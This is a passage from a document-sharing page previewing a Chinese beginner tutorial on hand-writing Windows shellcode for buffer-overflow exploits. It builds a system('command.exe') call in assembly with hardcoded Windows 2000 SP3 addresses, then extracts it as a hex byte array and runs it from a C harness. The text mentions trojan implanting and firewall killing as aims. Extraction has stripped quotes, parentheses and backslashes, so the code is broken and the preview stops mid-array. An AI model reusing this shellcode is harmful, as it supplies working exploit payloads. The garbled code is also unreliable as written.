编写ShellCode入门教程_第1页
编写ShellCode入门教程_第2页
编写ShellCode入门教程_第3页
编写ShellCode入门教程_第4页
编写ShellCode入门教程_第5页
已阅读5页,还剩6页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

1、编写ShellCode前置知识:汇编阅读能力,漏洞调试基本步骤,VC使用方法WTF:这几次的菜鸟版EXP系列文章都是重点讲解溢出编程的原理和思路,包括漏洞的定位,利用构造以及遇到限制时ShellCode的编码技巧等,但对ShellCode本身的编写,特别是Windows环境下ShellCode的初步编写,却很少提及。在文章中都是说发扬“拿来主义”,看准外面现成的ShellCode,直接拿来用,对不合规范的地方稍微改改就成其实我们是有策略的,试想一来就一大堆汇编,初学者不晕就懵,不被吓跑才怪,所以前期重点放在激发大家的兴趣上。但作为一个菜鸟,在兴趣激起来后,毕竟要进入到ShellCode的编写中

2、。一是因为Exploit很大的乐趣就在于ShellCode的编写,二是明白了ShellCode的编写,才能更好的使用和改进外面的代码。那,我们开始为了帮助初学者了解ShellCode的编写,并能一步一步操作得到自己的ShellCode,因此将Windows下ShellCode的编写过程作详细的介绍,以利于像我一样的菜鸟,最终能够写出简单的但却是真实的ShellCode;而进一步高级的ShellCode的编写,也会在系列后面的文章中一步一步的演示的,希望大家会发现,Exp真好,ShellCode最美妙! ShellCode简介和编写步骤从以前的文章和别人的攻击代码中可以知道,Shell

3、Code是以“xFFx3Ax45x72”的形式出现在程序中的,而Exploit的构造就是想方设法地使计算机能转到我们的ShellCode上来,去执行“xFFx3Ax45x72”由此看出,ShellCode才是Exploit攻击的真正主宰(就如同独行者是我们文章的主宰一样)。而ShellCode的“xFFx3Ax45x72”那些值,其实是机器码的形式,和一般程序在内存里面存的东东是没什么两样的,攻击程序把内存里面的数据动态改成ShellCode的值,再跳过去执行,就如同执行一个在内存中的一般程序一样,只不过完成的是我们的功能,溢出攻击就这样实现了。在此可以下个定义:ShellCode就是一段程序

4、的机器码形式,而ShellCode的编写过程,就是得到我们想要程序的机器码的过程。当然ShellCode的特殊性和Windows下函数调用的特点,决定了和一般的汇编程序有所不同。所以其编写步骤应该是,1构想ShellCode的功能;2用C语言验证实现;3根据C语言实现,改成带有ShellCode特点的汇编;4最后得到机器码形式的ShellCode。其中最重要的是第三步改成有ShellCode特点的汇编,将在本文的后面讲到。首先第一步是构想ShellCode的功能。我们想要的功能可能是植入木马,杀掉防火墙,倒流时光,发电磁波找外星人等等(WTF:咳),但最基本的功能,还是希望开一个DOS窗口,那

5、我们可以在DOS窗口中做很多事情,所以先介绍开DOS窗口ShellCode的写法吧。  C语言代码比如下面这个程序就可以完成开DOS窗口的功能,大家详细看下注释:#include <windows.h>#include <winbase.h> typedef void (*MYPROC(LPTSTR;    /定义函数指针int main(HINSTANCE LibHandle;MYPROC ProcAdd;LibHandle = LoadLibrary(“msvcrt.dll”;ProcAdd =

6、(MYPROC GetProcAddress(LibHandle, "System" /查找System函数地址(ProcAdd (""      /其实就是执行System(“”return 0;其实执行System(“”也可以完成开DOS窗口的功能,写成这么复杂是有原因的,解释一下该程序:首先Typedef void (*MYPROC(LPTSTR是定义一个函数指针类型,该类型的函数参数为是字符串,返回值为空。接着定义MYPROC ProcAdd,使ProcAdd为指向参数为是字符

7、串,返回值为空的函数指针;使用LoadLibrary(“msvcrt.dll”;装载动态链接库msvcrt.dll;再使用ProcAdd = (MYPROC GetProcAddress(LibHandle, System获得 System的真实地址并赋给ProcAdd,之后ProcAdd里存的就是System函数的地址,以后使用这个地址来调用System函数;最后(ProcAdd (""就是调用System("",可以获得一个DOS窗口。在窗口中我们可以执行Dir,Copy等命令。如下图1所示。   图

8、1 获得函数的地址程序中用GetProcAddress函数获得System的真实地址,但地址究竟是多少,如何查看呢?在VC中,我们按F10进入调试状态,然后在Debug工具栏中点最后一个按钮Disassemble和第四个按钮Registers,这样出现了源程序的汇编代码和寄存器状态窗口,如图2所示  图2 继续按F10执行,直到到ProcAdd = (MYPROC GetProcAddress(LibHandle, "System"语句下的Cll dword ptr _imp_GetProcAddress8 (00424194执行后,

9、EAX变为7801AFC3,说明在我的机器上System( 函数的地址是0x7801AFC3。如图3所示。  图3WTF:注意本次测试中读者的机器是Windows 2000 SP3,不同环境可能地址不同。为什么EAX就是System( 函数的地址呢?那是因为函数执行的返回值,在汇编下通常是放在EAX中的,这算是计算机系统的约定吧,所以GetProcAddress(”System”)的返回值(System函数的地址),就在EAX中,为0x7801AFC3。 Windows下函数的调用原理为什么要这么麻烦的得到System函数的地址呢?这是因为在Windows下,函数

10、的调用方法是先将参数从右到左压入堆栈,然后Call该函数的地址。比如执行函数Fun(argv1, argv2),先把参数从右到左压入堆栈,这里就是依次把argv2,argv1压入堆栈里,然后Call Fun函数的地址。这里的Call Fun函数地址,其实等于两步,一是把保存当前EIP,二是跳到Func函数的地址执行,即Push  EIP Jmp Fun。其过程如下图4所示。  图4同理,我们要执行System("":首先参数入栈,这里只有一个参数,所以就把C的地址压入堆栈,注意是C字符串的地址;然后Call System函数

11、的地址,就完成了执行。如图5所示。  图5 构造有ShellCode特点的汇编明白了Windows函数的执行原理,我们要执行System(“Command.exe”,就要先把Command.exe字符串的地址入栈,但Command.exe字符串在哪儿呢?内存中可能没有,但我们可以自己构造!我们把Command.exe一个字符一个字符的赋给堆栈,这样Command.exe字符串就有了,而栈顶的指针ESP正好是Command.exe字符串的地址,我们Push esp,就完成了参数Command.exe字符串的地址入栈。如下图6所示。   

12、图6  参数入栈了,然后该Call System函数的地址。刚才已经看到,在Windows 2000 SP3上,System函数的地址为0x7801AFC3,所以Call 0x7801AFC3就行了。把思路合起来,可以写出执行System(“Command.exe”的带有ShellCode特点的汇编代码如下。mov esp,ebp ;              push ebp ;    

13、0;        mov ebp,esp ;               把当前esp赋给ebpxor edi,edi ;            push edi ;压入0,esp4,;   作用是构造字符串的结尾0字

14、符。            sub esp,08h ;加上上面,一共有12个字节,;用来放""。            mov byte ptr ebp-0ch,63h ;  c            

15、;mov byte ptr ebp-0bh,6fh ;  o            mov byte ptr ebp-0ah,6dh ;  m            mov byte ptr ebp-09h,6Dh ;  m      &#

16、160;     mov byte ptr ebp-08h,61h ;  a            mov byte ptr ebp-07h,6eh ;  n            mov byte ptr ebp-06h,64h ;  d 

17、;           mov byte ptr ebp-05h,2Eh ;  .            mov byte ptr ebp-04h,63h ;  c            mov byte pt

18、r ebp-03h,6fh ;  o            mov byte ptr ebp-02h,6dh ;  m一个一个生成串"".            lea eax,ebp-0ch ;        

19、0;           push eax ;              串地址作为参数入栈            mov eax, 0x7801AFC3 ;      

20、      call eax ;                  call System函数的地址 明白了原理再看实现,是不是清楚了很多呢? 提取ShellCode首先来验证一下,在VC中可以用_asm关键字插入汇编,我们把System(“Command.exe”用我们写的汇编替换,LoadLibrary先不动,然后执行,成功!弹出了我

21、们想要的DOS窗口。如下图7所示。  图7同样的道理,LoadLibrary(“msvcrt.dll”也仿照上面改成汇编,注意LoadLibrary在Windows 2000 SP3上的地址为0x77e69f64。把两段汇编合起来,将其编译、链接、执行,也成功了!如下图8所示。     图8有了上面的工作,提取ShellCode就只剩下体力活了。我们对刚才的全汇编的程序,按F10进入调试,接着按下Debug工具栏的Disassembly按钮,点右键,在弹出菜单中选中Code Bytes,就出现汇编对应的机器码。因为汇编可以完

22、全完成我们的功能,所以我们把汇编对应的机器码原封不动抄下来,就得到我们想要的ShellCode了。提取出来的ShellCode如下。unsigned char shellcode ="x55x8BxECx33xC0x50x50x50xC6x45xF4x4DxC6x45xF5x53""xC6x45xF6x56xC6x45xF7x43xC6x45xF8x52xC6x45xF9x54xC6x45xFAx2ExC6""x45xFBx44xC6x45xFCx4CxC6x45xFDx4CxBA""x64x9fxE6x77"&#

23、160;     /sp3 loadlibrary地址0x77e69f64"x52x8Dx45xF4x50" "xFFx55xF0""x55x8BxECx83xECx2CxB8x63x6Fx6Dx6Dx89x45xF4xB8x61x6Ex64x2E""x89x45xF8xB8x63x6Fx6Dx22x89x45xFCx33xD2x88x55xFFx8Dx45xF4""x50xB8""xc3xafx01x78"

24、0;     /sp3 System地址0x7801afc3"xFFxD0" 验证ShellCode最后要验证提取出来的ShellCode能否完成我们的功能。在以前的文章中已经说过方法,只需要新建一个工程和c源文件,然后把ShellCode部分拷下来,存为一个数组,最后在main中添上( (void(*(void &shellcode (,如下:unsigned char shellcode ="x55x8BxECx33xC0x50x50x50xC6x45xF4x4DxC6x45xF5x53""xC6x45xF6x56xC6x45xF7x43xC6x45xF8x52xC6x45xF9x5

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论